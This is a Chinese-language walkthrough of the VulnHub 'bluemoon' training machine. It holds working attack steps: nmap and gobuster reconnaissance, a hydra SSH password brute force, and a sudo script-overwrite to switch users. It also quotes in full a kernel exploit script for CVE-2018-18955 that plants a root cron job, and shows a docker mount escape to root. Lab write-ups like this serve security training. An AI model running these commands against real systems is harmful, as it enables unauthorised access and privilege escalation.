vulnhub靶场bluemoon
bluemoon
主机发现
本地虚拟机部署,攻击机kali(IP:172.16.16.101)
sudo nmap -sn -T4 172.16.16.0/24

发现目标机IP(172.16.16.102)
新建文件夹,并进入目录,用来存储扫描结果
mkdir -p ~/vulnhub/bluemoon
端口扫描
TCP扫描
cd ~/vulnhub/bluemoon
mkdir nmap_output #存储nmap扫描结果
sudo nmap --min-rate 10000 -p- 172.16.16.102 -oA nmap_output/ports #结果保存为ports文件名

详细信息扫描
sudo nmap -sS -n -Pn -p 21,22,80,1 -sV -sC -O 172.16.16.102 -oA nmap_output/detail

UDP扫描
sudo nmap -sU --top-ports 100 172.16.16.102 -oA nmap_output/udp

漏洞脚本扫描
sudo nmap --script=vuln -p21,22,80 172.16.16.102 -oA nmap_output/vuln

信息总结
目标主机172.16.16.102
开放TCP端口21,22,80端口
21/tcp ftp vsftpd 3.0.3
22/tcp ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp http Apache httpd 2.4.38 ((Debian))
系统版本
Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) # OpenWrt是一个开源linux系统,主要用于路由器等嵌入式设备
UDP端口目前无实际利用价值
默认脚本漏洞扫描无可用结果
FTP
尝试是否能匿名登录
ftp 172.16.16.102
输入默认匿名用户名:anonymous

匿名登录失败
WEB
http://172.16.16.102

网页源代码无有价值信息,一共2张图片.blue.jpg .starts.jpeg
目录爆破
gobuster dir -u http://172.16.16.102 -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

再指定一下特定文件后缀
gobuster dir -u http://172.16.16.102 -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -x jsp,php,asp,txt,zip.tar -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

结果一致
访问
http://172.16.16.102/hidden_text

点击出现一张二维码

zbarimg识别二维码
zbarimg -q --raw QR_C0d3.png

泄漏ftp连接用户及密码
连接FTP
ftp 172.16.16.102
userftp
ftpp@ssword

切换二进制模式,用于下载文件
binary
ls #列出远程服务器上的文件和目录。
cd #更改远程服务器上的当前目录。
lcd #更改本地计算机上的当前目录。
get #从远程服务器下载文件到本地计算机:get remote_file local_file。
put #将本地文件上传到远程服务器:put local_file remote_file。
mget #下载多个文件:mget file1 file2 file3。
mput #上传多个文件:mput file1 file2 file3。
delete #删除远程服务器上的文件:delete remote_file。
mkdir #在远程服务器上创建目录: mkdir directory_name。
rmdir #删除远程服务器上的目录: rmdir directory_name
bye 或 quit #断开与 FTP 服务器的连接并退出 ftp 客户端。

本地查看这两个文件

robin是否是目标机中的一个账户?
ssh爆破
ssh爆破一下robin账户
hydra
hydra -t4 -l robin -P ~/vulnhub/bluemoon/p_lists.txt ssh://172.16.16.102 # -t4 并行运行任务数量,一般目标服务器限制了最大任务数,建议调低并行任务数量

出现一条有效凭据
robin k4rv3ndh4nh4ck3r
ssh远程登录
ssh robin@172.16.16.102
k4rv3ndh4nh4ck3r

user1_flag
查看一下当前用户的权限和所有用户信息

sudo滥用
(jerry) NOPASSWD: /home/robin/project/feedback.sh
jerry用户可以不使用密码来执行robin用户下的/project/feedback.sh脚本
查看这个脚本文件

查看文件的权限为545

添加写入权限
chmod 777 feedback.sh
写入shell
echo '/bin/bash' > /home/robin/project/feedback.sh
或者直接追加内容
echo '/bin/bash' >> /home/robin/project/feedback.sh
使用sudo指定jerry用户执行
sudo -u jerry /home/robin/project/feedback.sh

user2_flag

提权
系统信息
uname -a;cat /etc/os-release

搜索公开漏洞
searchsploit linux 4.19.0

查看具体漏洞信息,47164.sh
searchsploit -p 47164

查看这个47164.sh脚本
#!/bin/sh
#
# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47164.zip
#
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses crontab technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.cron.sh
# [*] Compiling...
# [*] Writing payload to /tmp/payload...
# [*] Adding cron job... (wait a minute)
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Nov 21 19:47 /tmp/sh
# [*] Cleaning up...
# [!] Remember to clean up /etc/crontab
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)
rootshell="/tmp/sh"
bootstrap="/tmp/payload"
command_exists() {
command -v "${1}" >/dev/null 2>/dev/null
}
if ! command_exists gcc; then
echo '[-] gcc is not installed'
exit 1
fi
if ! command_exists /usr/bin/newuidmap; then
echo '[-] newuidmap is not installed'
exit 1
fi
if ! command_exists /usr/bin/newgidmap; then
echo '[-] newgidmap is not installed'
exit 1
fi
if ! test -w .; then
echo '[-] working directory is not writable'
exit 1
fi
echo "[*] Compiling..."
if ! gcc subuid_shell.c -o subuid_shell; then
echo 'Compiling subuid_shell.c failed'
exit 1
fi
if ! gcc subshell.c -o subshell; then
echo 'Compiling gcc_subshell.c failed'
exit 1
fi
if ! gcc rootshell.c -o "${rootshell}"; then
echo 'Compiling rootshell.c failed'
exit 1
fi
echo "[*] Writing payload to ${bootstrap}..."
echo "#!/bin/sh\n/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" > $bootstrap
/bin/chmod +x "${bootstrap}"
echo "[*] Adding cron job... (wait a minute)"
echo "echo '* * * * * root ${bootstrap}' >> /etc/crontab" | ./subuid_shell ./subshell
sleep 60
if ! test -u "${rootshell}"; then
echo '[-] Failed'
/bin/rm "${rootshell}"
/bin/rm "${bootstrap}"
exit 1
fi
echo '[+] Success:'
ls -la "${rootshell}"
echo '[*] Cleaning up...'
/bin/rm "${bootstrap}"
/bin/rm subuid_shell
/bin/rm subshell
if command_exists /bin/sed; then
echo "/bin/sed -i '\$ d' /etc/crontab" | $rootshell
else
echo "[!] Manual clean up of /etc/crontab required"
fi
echo "[*] Launching root shell: ${rootshell}"
$rootshell
发现需要gcc,newuidmap,newgidmap
而目标并不存在这些环境,评估之后,选择不使用该提权方式
查看两个用户的UID

jerry用户在docker组里
查看docker状态
systemctl status docker

ps -ef |grep docker
docker以root用户运行

gtfobins
一款Unix系统原生工具攻击,它是一个精心收集的Linux/Unix二进制文件列表,这些文件在特定条件下可以被利用来绕过本地安全限制或执行特权升级
该项目名称源自”GTFO”(网络安全术语,意为”Get The Fuck Out”,常用来描述利用漏洞获取系统权限的行为)和”bins”(二进制文件的简称)
这个开源项目收集了各种常见的Unix/Linux系统二进制文件,详细记录了如何利用它们的功能来实现权限提升或绕过安全限制。对于系统管理员和安全研究人员而言,GTFOBins既是宝贵的安全参考资源,也是必须防范的安全隐患清单
https://gtfobins.org/
源项目github地址
https://github.com/GTFOBins/GTFOBins.github.io
查询docker本地提权方式


直接执行
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
提权到root

目标具有Python2.7环境,提升shell交互性
python -c 'import pty;pty.spawn("/bin/bash")'

root_flag



浙公网安备 33010602011771号